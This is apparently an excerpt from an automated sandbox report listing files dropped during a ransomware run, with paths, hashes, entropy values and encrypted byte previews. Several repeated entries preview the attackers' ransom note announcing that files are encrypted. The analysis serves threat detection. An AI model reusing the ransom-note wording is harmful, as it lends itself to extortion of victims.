.....T.XEv.]..e..7T..Bu%...../Q.-..w.Lc.=....o.b..p.A..N....*.p..^...FB.i.%MO...U5.$....Z.GU^2m...I..]X..p.A.#..D..
                        C:\Users\user\Documents\KBIFTJWHNZ\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\OVWVVIANZH.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8487928610237665
                        Encrypted:false
                        SSDEEP:24:TPpwoCYNAtb+ARSJHuRFXxII20hGjFBOFReAHHVsLwo3uutrs/G:TxwttKLJHgfIehoBO6A2wQF
                        MD5:07716FCF2FCE3B996CA6525958E35DD5
                        SHA1:F19E1F9C248A04617360FF28C84D67C8B919B4B4
                        SHA-256:BE0838D8C25541F57FEE31FFB0E0DE78625D537AE41F25E75E3CDB1ED795F26A
                        SHA-512:3F597DE2611AD4686779F164351BFDB70DE3E7A41E1AAE7B68BA5C904B26086DC7329429D12FF4817CF4733FDB4C21195BE644ED2A7E9C084F57D9D4A0C403CD
                        Malicious:false
                        Preview: ,..K...........s..[....3`c.{#2.K.rY..E`).m..y..JrbE..Mr..BTo.&8B<DN..e.....b.i$vK.-.........2w._P....b..'..8H_.BQds=".....WWD..[o.... ...8QvR..4..F.J.B.....1v7.u.8-=)..W8.... .u..&......\..`.^.z.....j.....E].c..'.+.&1.48.B.WO.lm.AO!._..d>Z.d.G.(.@..).xS..:T..f..\`..A. .KS.3.....?...].\9..=1...I.!$..:_.3....?.V.....w....U.1.$.-....y....F...../..8<...q.fv...9... .5,...W....H;.<.l.).j!.NO..(..-..O...O.R.r-..E.]...........~@...w..U...SG..NnoG6.....i..?....#o...$..o.Hdbu.W.A..*...+.9...:..HxId....Z..=.......pC.R..A3'..#.....i..%.B....,.H...@x....-.}.......F.G...|fN..%.zI..z....7..8w..B.xn.U....m<Mv=..^..^.GQ..n...\^.A....V.j...Z_.4..|...m(>N.....0..o4#..'7=..'}.......?...D......{f...}...u...9.iq<@..%.>..@]..qJ.....A.?..I<...W.6L.[..!....2_k..\...........]......T.p.c.-.w..-..C......1.(..oS.i.b$4,N}R.8S..}...L^..G.q........9*t0.qt...Hk...P~.p.P*zf#e.....Kzb..o.Ph..+.5...Z...Mc.}.8[.t...(A.bdS'....^...3...b.H.C.Y.P...G.Ce@`....../......4
                        C:\Users\user\Documents\UBVUNTSCZJ.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.835493668987136
                        Encrypted:false
                        SSDEEP:24:SR89p5VCUJLzCaUsktwEMEGIgGnzz5B34tFivKSqOb2iEhlB6QdqJAVViZuutrI3:SGKXGI/zf3EArYxdqJmifI3
                        MD5:AA860460588A6B1594DC4A1B8A4D66FF
                        SHA1:6E8AFEB9A8E1F9AB9196555F51ECE4ABBFE5845A
                        SHA-256:CDCF8C00C514AFF8B5B33BDE14E84AE350AFA0824A234CD8F9DC7D114CF8B007
                        SHA-512:298171A6A080CECAD8E6DEA4B2A321E0E0C60B6E149AB7833EE1FD5ADCBD2897908C28B0E51D4548A81E63B8A39F12AF7554A324F9866B864E3972F9BDCF96C5
                        Malicious:false
                        Preview: .\.f..Z..........#.........4j..3ok.........Z..@(J6d....%g.|.....nh..,.|.r...>H...$....Q\...E.T...W.$g......q...[.O..jE>........Dzg=.{....@..H.9....$.....A.m....:.g~...,.K..\2.Dpl......D..E(..;.0.....FE..r$.Kg...?T.X.S..#+.F..4].!.`.y.+yfR....V.T.....>..J.t..Q^...qY.+"A.X.'......^.w..............:..m;g.*|.-...:..`s..1.-T....3)...P...}a...1*X.:K..Rj.z...$.9./.u...tV2.GK.O.!....e0_....=...GW.0.2....%J...<...W`.~.}........@.LCvl......t.2.r..-...cV7.=F,..@......A.F2....?.....|..p......9....Q......M..^.%.}6o..a........?G{C2.....y.v..T...gW....L7l.......V1!:..H.).D.f....9K.m.e....-...0.W#.F~.7.A......{q.8;...J.....7<L>.5..Q:..T?!$..p.Tv%:...@k...e....K...!.9......~.[R.Rx2.!....j.\...K..t.w.Rj..F..w.....h..%.l..X..GI.X.`..).r....VS....fU.g.w.oz..Ja...<P.....%)..I..6...n.........R.#......-...o...ng"...h.1....g..Q.iT.. .....&hz..].KcpU...H%.A.(a...........5.....'.DT.b..'\".VQ...P.~ 8.=aQ..#..!.y`........_...zp.0R.[..M.N4..gM.....:S.-...e3.=..p..9...
                        C:\Users\user\Documents\WDBWCPEFJW.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.847842190267915
                        Encrypted:false
                        SSDEEP:24:NSMHDyozqnbS7XUVjk7yRo78wvZh3ELefJYsfF5hKuutrayN:B5zqnboWjpKQwASTf3yayN
                        MD5:C34EADDDDC1B73B5FBAF79B7DCECC0FD
                        SHA1:BD09D9BD63C7D38B24F24ABDE7758E168A33CAF9
                        SHA-256:5AB3EF9E58C5562BDD47C45C255E7033AED564ADBABB7A567A9F8782AB8DEBBF
                        SHA-512:3802F7D20CFF95F7F970C6104F25CC18553591E3E9143C991E6257C1475E439882EC75FBB0A88A7AD1794C2A952915B5995162CDA1536F61042B282019D00EA9
                        Malicious:false
                        Preview: .O.l.....F....DH....:....FX:.}...xo6....#....?..e.p....FG}D...t...L.?.Sx.x].I..utc...h......G...&P.~.D..F.j..la.t.*.s.G3b./.?,...-. D{,W...*..?Y...?JR.U...y.7....V.3P.B.h.g.b...1.y<....@....2$l.5..S.F....'...zx.L.\..`F..}...X....n..S._m.............>t..<.3G...TSu\ll:...M..+.d71....3GF7.`.f..@#&.uIVH.&:...|.j[N..v..`.u'.V?...5.....5...o.F....q......?......(.?..5.F.(y......Y....r..D.D...Ot..&.z.JF..D!.m.j..aU...x$.....8....v.gs.r..fU.Xp..^........B...jq....{\C.....B..".^ub...y.YS!.P........2.....G..K1i..q...7..{.~..0..$|3.k..0.Q5H......w.Q.L...Ce8.:....._..XP. .../C.....g.].c..e.........Jep...+jr........" K\.3W...G.^....6..+...Q.....k.K...........z=....c.].{.WKK.Ve...J9.........|:.5....3M...EU.... ..*........>Z.....y...3...B..Dk..N.B.7.WB.........a.(-.%.(......E.6*....L.G.FeC...h...|9!....c.......l..3.......8...+..JU...]........<..{Ye.b^@hu..?..`..!.9.......X.[.tP.s!..MD.2G..j..r.......=.)(..*po..@.e~.P......}...dU....)I.P...0.Q.!..b.b1g..Vz...lJ3....
                        C:\Users\user\Documents\WDBWCPEFJW.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.844595445655026
                        Encrypted:false
                        SSDEEP:24:g0yi+hYkHucKGBuiXbAlWMJhJdVaMX8zWJUJuH9uutrL/v:g01NcKGIabStJhJdVam8GL/v
                        MD5:B1CF40E9F0452F974AFE03EDA747D3C6
                        SHA1:F27507E4A6554E26D113B19547E92384AFE2B74B
                        SHA-256:C4BEEAE77689848EB5A20CB46C03F46DC9FA9C58C8C433D819B885B349224EBB
                        SHA-512:3581B3D1E777A7E6D417CEA33D21E380FED62090E8CD7983E168EECEFE908A381A431995FA2D7570AA528FC619F3535A0D01EB76C8AEF9797C8EF462CBDF4107
                        Malicious:false
                        Preview: ..8x..*.m<h.4j.................D.s../.`.*.c .P.MF..Z........C.._.(...,..t.!.i..l.D.....IT...._.A..E.O.5F.p..k.a:%433O.g..$.,.+}..n.s..s-c?...X.j....N.0^,%.*......*;...ri..c.)$....^..s.V19.To.x..>..r{....Z>.V.pI.).5.......y\.(..YG......BbQW.$..W......?...F...|.O......KX....;..f...';...s.W..*CYn......O..L.q.].:qQ.=."6......(.....9..b./.....z......&.p....O......c.5uQ.m>wj.....-9...%}.].&c+a.|.......I. .tN..7.' .[R......a...C...E................K...%...o*.....t.u.."...Wq.......'0..`...t.....5<.._....U...%_/9...i.).N."..Lq.$.. .S.^.. .(2...H..Q1.q....C5..H&%8.>.u.p..ed..K....+....U.,O..7.!x..r...h...m..g...s....t.D....u.e0......L...='...#...A.K..-.?.p..4.W..V/.."....S.d,/f{.z.>w)....eS.Hq\l.T^.i.M_sk,........BeJhD..._.Kl..h...K&.H.aW...t].a.|z.....`.*t-..m.*L.3Fr...6......P.......^..}.....Y.m....c..m...}E0.....i....6.n.._....#1..-...,....W.1=.F...f.r.4....6s.%Eg.@M..I[qD..KI.)8....2.._.@|gn.|d.A..........&.R......./tT..P..m.z? O.1..Ca.r........Q.
                        C:\Users\user\Documents\WDBWCPEFJW.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.86067886360151
                        Encrypted:false
                        SSDEEP:24:RFGsWwAEjsbMNr7fLnvuycQDW7w5vOscHiaqn7sQnyNyA0GxORuutr7j:R+EMMJvvunQDW7wFOTfq7HyN/TOXv
                        MD5:76EF52D731C5045E5FFB2C8C8E171B92
                        SHA1:6D36B4317D50C84F2B26DB3AFAA98C7B99634FC6
                        SHA-256:0FC8127F12F26BE762AC97F27924C4DBEFA7DDAF546FDCC2A16B75A9F0B6811B
                        SHA-512:A9121DACB5D11C6BF7DFC30CAAE5FDED657AEB7ABA7C563C55F4F0EEC9EF252C0DBF3E6F45C0567388A1670A60F42E80982C5EB90005FABDE92E20AF1A9AB5D2
                        Malicious:false
                        Preview: .h=e .{....Dr...A&E..I..|..^.W..P..)..I...^.&..Q.[...|..nA.....?.....S.p.... _.G.?..s..ts..%...&.;..V....1....*.i.G..a.A. ..K..S.......@I.q.q9..nm0...%b22......n%.tN.1.4...ET]..u8...w..W.G>...N$.RN.G....1J..j.J[.<..vw....?.7.xg...r..qsb.`T.v.F....Si#....K.L..5f...}.k.*...2G!i..O...H..o.....^+.^|..r.lU*..\K5./c.n2.=.'.T.._E.....T....i!.....\.../.S.b."...0_...z.....et..uG.Qi..U.....N.......t.mE9;P..6T..J[.G.X.O.k.*f.)......,x..5 $|Q.,.....}.9'..E.^.1.p1,..R..{...>1...Y.....&......u..w..Y....y.....xK...@uo.Rs.....h%.#..wb\....q..6...3..J..@..^.)a.WD..4....^.!W()*E..s>.....A<..'t..[^.".2#..n7<G.E. .1....Y.M...d.@;..8.jc.{.UjP..q...V....j..b.b..=.]...ID.{; ..0b..v..)P<.\.(o.}.A..M....>.34..E.Y..t.haY...5f\s. Fg..}R....]...."1...D2.C!....\..I...l....\...+.0*Bs.+.hF&.9..t...F.....@.[..8.....C,.......4|\..&.C.z.^*.x.@`\_._.....@.w.$.q..../.. G..Y....0..........}....j.F..V-.\?.~~....Re.........KF.j.qr.M..<.9...F..]..c.....5.#.d...]>2(i.(o?.
                        C:\Users\user\Documents\WHZAGPPPLA\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\ZUYYDJDFVF\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Downloads\BUFZSQPCOH.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.832797741784629
                        Encrypted:false
                        SSDEEP:24:5LAGbxS+9K/B6rcpBnpz5/K+mLYyWtdUJVc+gbVa0zgLNCNeCJvrGauutruyNn:57bk4K/7pdlsDwB+g0sXNeorGguu
                        MD5:1714F64C9608DC4664EFB14CE42E932D
                        SHA1:A8252AF3D48F4D4C2B007CB836BD17F5DCFF4FAB
                        SHA-256:E96139A67723485AB19FF4D6A58467D5866036D5DAB37C81A25EE157FFFC204E
                        SHA-512:4CD262FE3F7974DEA26301957124A5E112BE3E5733E7F0B3322DE4985E5F7D13DFCBBAC28F7A1E7C17601E7EE227C697995A1AC3613D9CC2080028F4D8217F3A
                        Malicious:false
                        Preview: 7R.cz.k.eU|.I@^..~T...R...}...6C.<...........(.....8@...#...j.dXd...GS..........E..(:o..4...G...,.....S.L.:.i.fb....../.b.m..S...{(b...bM.&...".#t..:.{..n...e.....8dc..\J.K".b<.V.Ew&..&^..S..,)...Y...9/.. ;.yS...>1....8Mc.z.....!i:....?o...s..N.x.H...j..2...Z.!5.N.|....{..+..(.Q.tH0..nt.V6...m.h)...1.....O.....9..@.]}...[.U.@.m...8.....\.......l%...(T.pi...Dm.+....H..P#....v..MN$4.....=1....MN..Y.hw}w.....p..K..ic..Dgm..K.i.....u..6..<....0..0A)..CI...5."V......,..F.....D.+.N...M.} l.L.;v..n}[a..2h..J....t...Uyr...q.h..b..]...i....w.m>`...=....%....r..):J.B{.E.y..$|H#..{.........hZ5...W..h.5.J..........H5.}.....".............v%./..:.......T.o.....Z.......#G..oc'+X.....w)j{`0.\...Q....w2h..O..=.......k..dy:......U......n...@.6.%.E!).o.p^.J.v.$t.W...}sS.......nM.5..e...([..#............`..<.=H.....p;p.lW...Xz..5...R.[..n.{CX....F.D.......f...PKS.XO.Ul......!.P...6...}.%.......+.e...&...........~+.dU....+.Y.`....+...g...I..~&9..td\Q&i@...F
                        C:\Users\user\Downloads\BUFZSQPCOH.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.810584949720822
                        Encrypted:false
                        SSDEEP:24:rCy0TkZFqeTaav9Jp0ZTVHIJr+o7O+HZMB8Pg/xAzmMqZZj1Ft1/Onuutr6g0X:rCy0TkxWavJiVHIJr12B0OxAzqZ5zOhY
                        MD5:9E40EFDE9256EF4D11F89ACA0D434061
                        SHA1:35B141550075DBA717FB2DBDC8F8426C3835239A
                        SHA-256:60DABFB1B583DB1E95E34868A6015E7ABA1488A07780E5DFC4D2D00BF72214A2
                        SHA-512:5EF573C64238F756268DB0F12D6EA257BA773AD711BA3CF986A81F959DFA9C2069C91439622D555DEF68E28BC4E71B9D96A446AF1A3385AEBF05D84D69A7D854
                        Malicious:false
                        Preview: ..g.*]A.....R.F.....A1a.....j&.,.-.5..j.I_...S.*..2;../lQ1{...~...%..[...E2h.p..K.\v....z.....|g?.Z.^...}........E`.&&.. u..5*..b.b.2..O/.. w...j>.y%.9..k.S.[,..&.#B:a...c.%..2..r...c#..d...GpZ.t..:..cpi..j........<h0.D....qX..fX.g}M.e.u.x........(%.$u.G..E....N.xG.&a.......E.7.5s..4...B..+.....<..|6!...Y".n.......=..W....S<[b..:..$.T).v...g...C...h....cy.Ovsq..W/.......6,...g.....b.8...._..>..p %$.,..W.B}b......k......n..KOG.B:aq.'.."5.N.......X.j...@R5.p...h.)P."...4.i.up.u.H..n-.w...=2{.f..../..bL....u+...uwp.N..x'|Ib...2.4.R..wXsv..L^rt...{..v e.h.l..+&..p..*ylL.h..M.EA.0.x.#*u....I..p]...X,..HEw%$0->..a........yv.~......G.....L..G....R..V...Y...M<%...."...0..o>M6.....Mc.+ml.x.kB.o7.7k...+.C.<im.......}.*..8....."a...?.......s&....1...N.8j........E.....-.5z.js.p.q.e.._..yo.~.c........? . ..!.BWn..{MA.s.......b.. .)=......a...QrpB....JP.p....X-UM6.:..A......"......$Z..\4........?.uh@..y./u./....k2H]...]....okR...h.S.....9.T4pC|...
                        C:\Users\user\Downloads\BWDRWEEARI.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.847363824613609
                        Encrypted:false
                        SSDEEP:24:dTMJiSAFIxqaTwCQQX9ZK+wLQNHKBFQMY/nTGkw8ksmzN4uutrGXFj:ppSAGxqaTwQZKzLYH6+3/TGlb0I
                        MD5:EDE3371DA55EC199919EE44609BBB289
                        SHA1:DD27EAD2316B5CC0AF0F0BE0018539E7E33912D4
                        SHA-256:3441CB0D2600EEDBAC9533C391ED73160581743D7592C70E79B6F1FEC5443699
                        SHA-512:14F47E2CA7972C3AFD9210F2C3802B2201E0579F3DA55ED6F61D2994036BD4CA9BDA9151C6430DD17A1394311B1ACDC2595761CB5D404371026E5646BADA023C
                        Malicious:false
                        Preview: .ba5.9....K.U.zhZ.YR.z..0....2..z...7...3..?.y....h.........K..-I.....h...>u.zk.@S.o..N.{?.F..r.&.%........'....Ezy.o9G.1r.2..8..St}%...2.a.....-.P.|...;F.G..U..G.=.;.^....KpZ"I..~....ng...u.;G].".X..y..[..>.U..A....L......vd.t. ..b..2%o.i.)..H.....o.Hg.t.A....AB....._3.......?..H..m..^B....q.V#.T:...0e....j5....&.H:.G...H...%..F.sl[..F7..)gM,.'...K...C.2..l.|.i.fv....]q.I..z..N.4Yf#.O*i.c....Q....=..n +..~A...U5.)i...e-.....c...X...n.."{..O.G...$$h.)C...b...,...P.z.A.xj...~.......h....-=.F.M..{j.....m.A..M...........^8C.?./t.|p...>Is.^&.S.*.J..F...l../P..0.B.._Z3....(,.D.7.X+..2j...J!...V-...w%....+S...{.=.q..~60.E..s)Nqa9.f..C#...dcL.ei.e:.* bgd.?H....C..Y..t..c=7.g.qi..i.]...8..]M.b......X....\I!}d......'.i.M...LA......m...=T........&.zG@g'.<...z.S7.u|......l.MR..t&.s/!H.1.l:.5.NTR#.5.......L.g.'..iA....>..........aO.....C..($....9.)oF...r....(...R.'.S0@#Y..^Jy.M._$8...Q.,.d...x.#...V.K..y,..J.."hH<...,.e.-o6.....P....K\D..H#s.f.W>.s...-t.
                        C:\Users\user\Downloads\BWDRWEEARI.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.857734108318337
                        Encrypted:false
                        SSDEEP:24:z3MYLqCdn0tJeFglE+3DZlbN9vEkwGNIBnAwkcxjUzJhREt+pmyY7Kuutre3A:fqCd+E+3zRFEhkAYhdbQwuA
                        MD5:68D72E3B5EFB7B6A491AE8DFB2F5735E
                        SHA1:991AA45D4887FF8128A0967C38B0AC3B623F2AF7
                        SHA-256:9717E6275BB7D3B2B8AFB407322F9192BBD09DDE12A927D3201EB5681BFFE936
                        SHA-512:B673D3AD3D7D3D00EE3AC6850BE21EA0A6827C33F391FB55EA5A648119F55ADA60F15EEE8751F636AC7EBB1F7D624E5D12C146350E8C83628FE3517F3EE29CD9
                        Malicious:false
                        Preview: ?4F.......q...1.t...GxC9.6..`.p..|8.|RT..|./.Q..*..jA....Y..[...:..#...@2~2..!D.8.#e...W.....!^M.MR...........Xl.5{......:fW.A.k.t.%..W.L<P....k.p.#....W(,.q..K.3.(.....cL..9.T..-......M^K..+..R..p..7.......:...p....Y.....[Ap.B.E#.~..g....B/...KI.s.]h..Q..p...C.K..W..%..):..._.@2....A..b.F..4.9..u.H.w."<...s......b..x,.J..5<EKA.].c....3..K..4.v.u.&..n.A5a.7Ls.......+sk...5O.c.1.q...4..+..F....S&....~..6..F........EI:.;5x.#t/...uQ.sG.2'.0..T..UX...g...u..A.v..\)..[.3..*.%t".Oe...?s......;X.[$..@....`.YxoR."p.E..'a.Z...c....C.;8Ts~f.%w...N/l6mp.d. .w.Q/V/....>kp}.nJ..._$...Z.wDj.....%..Q.0+M#.8=.U0.VE}.`D.{..@.tY@S*.......d...]9.$5..0P...F`;&.<..j.2.%..);.KV4.......+Y...|T2.....R..<..R.Q...VK..?[...@%..i...y.........$.z....x.~3Qz....w.N....8....Y.%...iC....32...v..1.(9.Q.n_)6...%..3.K.V3'........>7....$....X.....b.h^(.U..W.N..]*/......Z`z.......B.k.1.....:.O..h&....%.iZ...h<...%K.G...%C#y........s..y.I..[...I..,rhA].....y.bN7Om....8
                        C:\Users\user\Downloads\BWETZDQDIB.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.849812445858133
                        Encrypted:false
